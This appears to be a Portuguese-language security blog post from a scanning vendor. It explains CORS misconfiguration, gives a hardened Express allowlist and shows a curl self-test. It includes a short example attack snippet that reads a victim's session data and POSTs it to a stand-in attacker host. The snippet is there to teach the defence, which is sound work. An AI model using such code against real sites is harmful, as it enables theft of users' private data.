← Voltar ao blog
SegurançaScanaris Team · 5 min de leitura · October 04, 2026

CORS mal configurado: a falha silenciosa que expõe os dados dos teus utilizadores

Estás a construir a tua app, o browser atira-te um erro vermelho de CORS, procuras num fórum ou perguntas à IA e copias a solução que promete que tudo funcione. Costuma ser a pior possível. Este guia explica o que é o CORS a sério, o que protege e o que não, o erro exato que deixa os dados dos teus utilizadores ao alcance de qualquer site, como o configurar bem com código e como o verificar por fora.

O que é o CORS na realidade

Por defeito, o browser não deixa que uma página em site-a.com leia a resposta de uma API em site-b.com. É a política da mesma origem, e uma origem é a combinação de protocolo, domínio e porta: https://app.exemplo.com e https://api.exemplo.com são origens distintas. Essa política protege os teus utilizadores: evita que um separador malicioso leia dados de outro site onde têm sessão iniciada.

O CORS (Cross-Origin Resource Sharing) é o mecanismo com que o teu servidor relaxa essa regra de propósito: com o header Access-Control-Allow-Origin diz ao browser "a esta origem concreta deixo ler a resposta". Para pedidos que não são simples (um PUT, um JSON, um header Authorization), o browser envia antes um pedido OPTIONS de verificação, o preflight, e só continua se a resposta o autorizar.

O que o CORS não protege

Convém ter isto claro antes de o configurar. O CORS é uma regra que os browsers cumprem, não um controlo de acesso da tua API. Um atacante com curl, um script num servidor ou uma app móvel não estão sujeitos ao CORS: veem tudo o que a tua API devolver sem sessão. Se um endpoint entrega dados sem verificar quem pergunta, o CORS não o resolve; isso resolve-o a autenticação. O CORS protege uma coisa muito concreta: que outro site não use o browser do teu utilizador, com as cookies dele, para ler dados privados em seu nome.

O erro que parte tudo

O padrão perigoso é refletir qualquer origem que chega e, ainda por cima, permitir credenciais:

  • Access-Control-Allow-Origin com o valor da origem que pede, seja ela qual for (reflexo dinâmico), e
  • Access-Control-Allow-Credentials: true.

Com essa combinação, qualquer site que o teu utilizador visite pode fazer pedidos à tua API com as cookies de sessão do utilizador e ler a resposta. O ataque cabe em três linhas no site do atacante:

fetch('https://api.oteudominio.com/me', { credentials: 'include' })
  .then(r => r.json())
  .then(dados => fetch('https://atacante.example/recolher', { method: 'POST', body: JSON.stringify(dados) }))

O utilizador não vê nada: só abriu uma página. O coringa * é menos grave porque o browser recusa combiná-lo com credenciais, mas também não pertence a uma API com dados privados.

As formas como este erro chega ao código costumam ser inocentes: no Express, cors({ origin: true, credentials: true }) reflete qualquer origem; uma expressão regular descuidada como /oteudominio.com$/ aceita evil-oteudominio.com; uma lista que inclui null permite páginas abertas a partir de ficheiros locais e iframes isolados; e "permitir tudo em desenvolvimento" acaba publicado em produção.

Como configurá-lo bem

Pensa em defesa, não em comodidade. Mantém uma lista fechada de origens, compara-a de forma exata e devolve o header só quando houver correspondência. No Express:

const ALLOWED = new Set([
  'https://app.oteudominio.com',
  'https://oteudominio.com',
])

app.use((req, res, next) => {
  const origin = req.headers.origin
  if (origin && ALLOWED.has(origin)) {
    res.setHeader('Access-Control-Allow-Origin', origin)
    res.setHeader('Vary', 'Origin')
    res.setHeader('Access-Control-Allow-Credentials', 'true')
    res.setHeader('Access-Control-Allow-Methods', 'GET, POST, PUT, DELETE, OPTIONS')
    res.setHeader('Access-Control-Allow-Headers', 'Content-Type, Authorization')
    res.setHeader('Access-Control-Max-Age', '600')
  }
  if (req.method === 'OPTIONS') return res.sendStatus(204)
  next()
})

Quatro detalhes que importam. Vary: Origin evita que um CDN guarde em cache a resposta para uma origem e a sirva a outra. Allow-Credentials só se usares mesmo cookies entre origens; se a tua API e a tua app vivem no mesmo domínio, nem sequer precisas de CORS. Limita métodos e headers ao que usas. E responde ao OPTIONS com 204 sem executar lógica de negócio.

No Next.js, o mesmo código vive num middleware ou em cada route handler; no Nuxt, em routeRules ou num middleware de servidor. Se usas o Supabase ou o Firebase diretamente a partir do browser, o CORS é gerido por eles e a barreira real são as regras da base de dados, não este header.

As APIs públicas podem usar o coringa

Se a tua API serve dados que são mesmo públicos (uma lista de preços, um catálogo) e não usa cookies, Access-Control-Allow-Origin: * é legítimo e simplifica a vida a quem a consome. A regra é nunca misturar o coringa, nem o reflexo, com dados que dependam da sessão do utilizador.

Porque custa detetá-lo

Esta falha é silenciosa: tudo funciona, não há erro visível e a app parece saudável. Só se nota quando alguém a aproveita, e nem sequer então deixa rasto evidente nos teus logs, porque os pedidos chegam com uma sessão válida. Por isso convém rever a configuração de CORS de forma explícita em cada publicação e não confiar em que "como não dá erro, está bem".

Como verificá-lo tu mesmo

Pede um endpoint privado da tua API a fingir que vens de outro site e olha para os headers que voltam:

curl -s -I -H "Origin: https://evil.example" https://api.oteudominio.com/me | grep -i access-control

Se a resposta devolver Access-Control-Allow-Origin: https://evil.example juntamente com Access-Control-Allow-Credentials: true, tens o problema. Se não devolver nenhum header CORS para uma origem desconhecida, está bem. Repete com Origin: null e com um subdomínio inventado do teu próprio domínio.

O CORS não substitui a proteção contra CSRF

Um atacante não precisa de ler a resposta para fazer estragos: basta que o pedido se execute (um POST que muda o email da conta, por exemplo). Isso evitam-no as cookies com SameSite=Lax ou Strict e, para formulários sensíveis, um token anti-CSRF. CORS e SameSite são duas camadas distintas; convém ter as duas.

Revê o teu CORS com o Scanaris

O Scanaris verifica em modo só de leitura como o teu site responde a pedidos com origens desconhecidas: se reflete a origem, se permite credenciais e se combina o coringa com cookies. Não lança ataques nem toca nos teus dados: só observa a resposta pública, tal como o comando acima. Se encontrar uma configuração perigosa, dá-te um fix prompt para a tua IA a reescrever com uma lista fechada. É uma das verificações da checklist de lançamento; as restantes peças, headers incluídos, estão no guia de headers de segurança.

Perguntas frequentes

Porque é que me dá erro de CORS em local e em produção não?

Porque em local o frontend corre em localhost:3000 e a API noutra porta: são origens distintas. Em produção costumam partilhar domínio. Acrescenta a origem de desenvolvimento à lista só no ambiente de desenvolvimento, nunca reflitas tudo para "tirar o erro".

Posso pôr várias origens em Access-Control-Allow-Origin?

Não, o header admite um único valor. Por isso se compara a origem recebida com a lista e se devolve só essa, com Vary: Origin.

Um browser móvel ou uma extensão podem saltar o CORS?

As apps nativas e os scripts de servidor não estão sujeitos ao CORS; as extensões têm permissões próprias. O CORS protege o utilizador no browser normal, que é onde estão as cookies dele. O resto protege-o a autenticação da tua API.

Como está o teu site?

Passa-lhe o Scanaris e verifica em 30 segundos, grátis.

Analisar o meu site

Verificações relacionadas